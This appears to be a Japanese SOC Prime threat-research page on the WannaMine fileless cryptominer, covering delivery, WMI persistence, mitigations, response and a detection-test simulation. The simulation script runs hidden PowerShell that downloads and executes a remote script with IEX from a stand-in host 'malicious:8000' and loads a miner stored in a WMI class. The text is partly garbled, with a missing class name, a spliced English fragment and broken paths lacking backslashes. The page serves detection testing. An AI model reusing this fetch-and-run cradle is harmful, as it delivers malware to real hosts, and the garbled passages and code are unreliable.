SOC Prime Bias: クリティカル

14 Jan 2026 15:14 UTC

WannaMine クリプトマイナー分析:ファイルレスな実行と持続性

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon フォローする
WannaMine クリプトマイナー分析:ファイルレスな実行と持続性
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

WannaMineは、PowerShellとWindows Management Instrumentation(WMI)という主に生活で使用されるツールを使用してメモリ内に常駐し、Moneroをマイニングする、ファイルレスの暗号通貨マイニングワームです。

調査

WannaMineは、悪意のあるバッチファイルを含むフィッシングメールを介して、またはEternalBlue SMBの脆弱性を悪用して配信されます。持続性を維持するため、WMIイベントサブスクリプションを登録し、カスタムWMIクラスにエンコードされたPowerShellを保存します。

WannaMineの緩和策

SMB(MS17-010)のパッチを適用することでEternalBlueの悪用を防止します。PowerShellの実行を制約し、監視し、異常なWMIクラスの作成とイベントコンシューマーを監視し、資格情報の悪用を制限するために最小特権を適用します。

対応

異常なPowerShell/WMIの動作を警告し、影響を受けたホストを隔離し、悪意のあるWMIイベントコンシューマー/サブスクリプションを削除し、潜在的に漏洩した資格情報を回転させ、メモリフォレンジックを行い、メモリ内のマイナーを確認します。

攻撃フロー

シミュレーション実行

前提条件:テレメトリとベースラインの事前チェックが完了している必要があります。

理由:このセクションでは、検出ルールをトリガーするために設計された敵の技術(TTP)の正確な実行を詳述しています。コマンドと説明は特定されたTTPと直接反映され、検出ロジックが期待する正確なテレメトリを生成することを目的としています。

  • 攻撃の物語とコマンド:
    攻撃者はWindowsエンドポイントでリモートコード実行を取得します。ユーザーの操作を避けるために、PowerShellを隠されたウィンドウ(-W Hidden)でプロファイルなしで(-NoP)非インタラクティブ(-NonI)で起動します。このコマンドは IEX を使用して悪意のあるHTTPサーバー(http://malicious:8000/in6.ps1)からのPowerShellペイロードをダウンロードします。ダウンロードされたスクリプトは という名前のWMIクラスを登録し、保存されているBase64エンコードされたMoneroマイナーを含むプロパティを持っています。攻撃者は that stores a property mon containing a Base64‑encoded Monero miner. The attacker then reads the property via [WmiClass] を介してプロパティを読み込み、実行することで、プロセスを新規に作成せずに暗号マイナーを起動します。このシーケンスは検出ルールの3つのコマンドラインのサブストリングと一致します。

  • 回帰テストスクリプト:

    #-------------------------------------------------
    # WannaMineファイルレス暗号通貨マイナーの実行をシミュレートする
    #-------------------------------------------------
    $maliciousServer = "http://malicious:8000"
    $payloadPath     = "$maliciousServer/in6.ps1"
    
    # 1. 隠された、非インタラクティブなPowerShell実行
    $cmd = "-NoP -NonI -W Hidden " +
           "IEX(New-Object Net.WebClient).DownloadString('$payloadPath'); " +
           "`$mon = ([WmiClass] 'rootdefault:Office_Updater').Properties['mon'].Value"
    
    # コマンドを実行する(これは攻撃者が実行するものです)
    Start-Process -FilePath "powershell.exe" -ArgumentList $cmd -WindowStyle Hidden -NoNewWindow
    
    # 注:リモートスクリプト(in6.ps1)は、"mon"プロパティを含むWMIクラスを作成すると仮定されています。
  • クリーンアップコマンド:

    # 悪意のあるWMIクラスを削除する
    Get-WmiObject -Namespace "rootdefault" -Class "Office_Updater" | Remove-WmiObject -ErrorAction SilentlyContinue
    
    # 残っている可能性のあるPowerShellマイナープロセスを停止する(もし起動されている場合)
    Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
        Where-Object {$_.CommandLine -match "mon"} |
        Stop-Process -Force
    
    # 任意: テスト中に作成されたPowerShellのトランスクリプト/ログファイルをクリア
    Remove-Item -Path "$env:LOCALAPPDATAMicrosoftWindowsPowerShellTrace*" -Force -ErrorAction SilentlyContinue